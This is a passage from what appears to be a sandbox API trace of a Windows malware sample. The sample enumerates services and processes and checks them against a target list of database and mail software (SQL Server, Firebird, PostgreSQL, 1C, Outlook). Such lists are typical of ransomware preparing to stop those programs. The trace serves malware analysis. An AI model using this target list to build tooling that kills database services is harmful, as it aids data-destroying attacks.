lpString2="ProfSvc") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0066.746] lstrlenW (lpString="RpcEptMapper") returned 12 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0066.746] lstrlenW (lpString="RpcSs") returned 5 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0066.746] lstrlenW (lpString="SamSs") returned 5 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0066.747] lstrlenW (lpString="Schedule") returned 8 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0066.747] lstrlenW (lpString="SENS") returned 4 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0066.747] lstrlenW (lpString="ShellHWDetection") returned 16 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0066.748] lstrlenW (lpString="Spooler") returned 7 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0066.748] lstrlenW (lpString="sppsvc") returned 6 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0066.748] lstrlenW (lpString="swprv") returned 5 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0066.748] lstrlenW (lpString="SysMain") returned 7 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0066.749] lstrlenW (lpString="Themes") returned 6 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0066.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0066.749] lstrlenW (lpString="TrkWks") returned 6 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0066.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0066.749] lstrlenW (lpString="UxSms") returned 5 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0066.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0066.750] lstrlenW (lpString="VSS") returned 3 [0066.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0066.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0066.750] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0066.750] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0066.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0066.750] lstrlenW (lpString="WdiServiceHost") returned 14 [0066.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0066.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0066.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0066.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0066.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0066.750] lstrlenW (lpString="WdiSystemHost") returned 13 [0066.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0066.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0066.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0066.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0066.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0066.750] lstrlenW (lpString="WinDefend") returned 9 [0066.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0066.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0066.750] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0066.750] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0066.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0066.751] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0066.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0066.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0066.751] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0066.751] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0066.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0066.751] lstrlenW (lpString="Winmgmt") returned 7 [0066.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0066.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0066.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0066.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0066.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0066.751] lstrlenW (lpString="wscsvc") returned 6 [0066.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0066.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0066.751] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0066.752] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0066.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0066.752] lstrlenW (lpString="wuauserv") returned 8 [0066.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0066.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0066.752] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0066.752] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0066.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0066.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fc5890 | out: hHeap=0x5c0000) returned 1 [0066.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0066.761] Process32FirstW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.762] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.763] lstrlenW (lpString="System") returned 6 [0066.763] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0066.763] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0066.763] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0066.763] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0066.764] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.765] lstrlenW (lpString="smss.exe") returned 8 [0066.765] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.766] lstrlenW (lpString="csrss.exe") returned 9 [0066.766] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.767] lstrlenW (lpString="wininit.exe") returned 11 [0066.767] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.768] lstrlenW (lpString="csrss.exe") returned 9 [0066.768] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.769] lstrlenW (lpString="winlogon.exe") returned 12 [0066.769] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.770] lstrlenW (lpString="services.exe") returned 12 [0066.770] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.771] lstrlenW (lpString="lsass.exe") returned 9 [0066.771] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0066.772] lstrlenW (lpString="lsm.exe") returned 7 [0066.772] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.773] lstrlenW (lpString="svchost.exe") returned 11 [0066.774] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.774] lstrlenW (lpString="svchost.exe") returned 11 [0066.775] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.776] lstrlenW (lpString="svchost.exe") returned 11 [0066.776] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.777] lstrlenW (lpString="svchost.exe") returned 11 [0066.777] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.778] lstrlenW (lpString="svchost.exe") returned 11 [0066.778] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.779] lstrlenW (lpString="audiodg.exe") returned 11 [0066.779] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.780] lstrlenW (lpString="svchost.exe") returned 11 [0066.780] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.781] lstrlenW (lpString="svchost.exe") returned 11 [0066.781] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.782] lstrlenW (lpString="dwm.exe") returned 7 [0066.782] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0068.154] lstrlenW (lpString="explorer.exe") returned 12 [0068.154] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0068.156] lstrlenW (lpString="spoolsv.exe") returned 11 [0068.156] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.157] lstrlenW (lpString="taskhost.exe") returned 12 [0068.157] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.158] lstrlenW (lpString="svchost.exe") returned 11 [0068.158] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0068.159] lstrlenW (lpString="taskeng.exe") returned 11 [0068.159] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.160] lstrlenW (lpString="taskhost.exe") returned 12 [0068.160] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.161] lstrlenW (lpString="svchost.exe") returned 11 [0068.161] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0068.162] lstrlenW (lpString="sppsvc.exe") returned 10 [0068.162] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.163] lstrlenW (lpString="svchost.exe") returned 11 [0068.163] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0068.164] lstrlenW (lpString="barrelsince.exe") returned 15 [0068.164] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0068.165] lstrlenW (lpString="cricket.exe") returned 11 [0068.165] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0068.166] lstrlenW (lpString="angelsalot.exe") returned 14 [0068.166] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0068.167] lstrlenW (lpString="bridge.exe") returned 10 [0068.167] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0068.168] lstrlenW (lpString="sh_shipping.exe") returned 15 [0068.168] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0068.169] lstrlenW (lpString="tobacco packet.exe") returned 18 [0068.169] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0068.170] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0068.170] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0068.172] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0068.172] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0068.173] lstrlenW (lpString="widespread.exe") returned 14 [0068.173] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0068.174] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0068.174] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0068.175] lstrlenW (lpString="zinc.exe") returned 8 [0068.175] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0068.176] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0068.176] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0068.177] lstrlenW (lpString="construction_rice.exe") returned 21 [0068.177] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0068.178] lstrlenW (lpString="mask.exe") returned 8 [0068.178] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0068.179] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0068.179] Process32NextW (in: hSnapshot=0x214, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 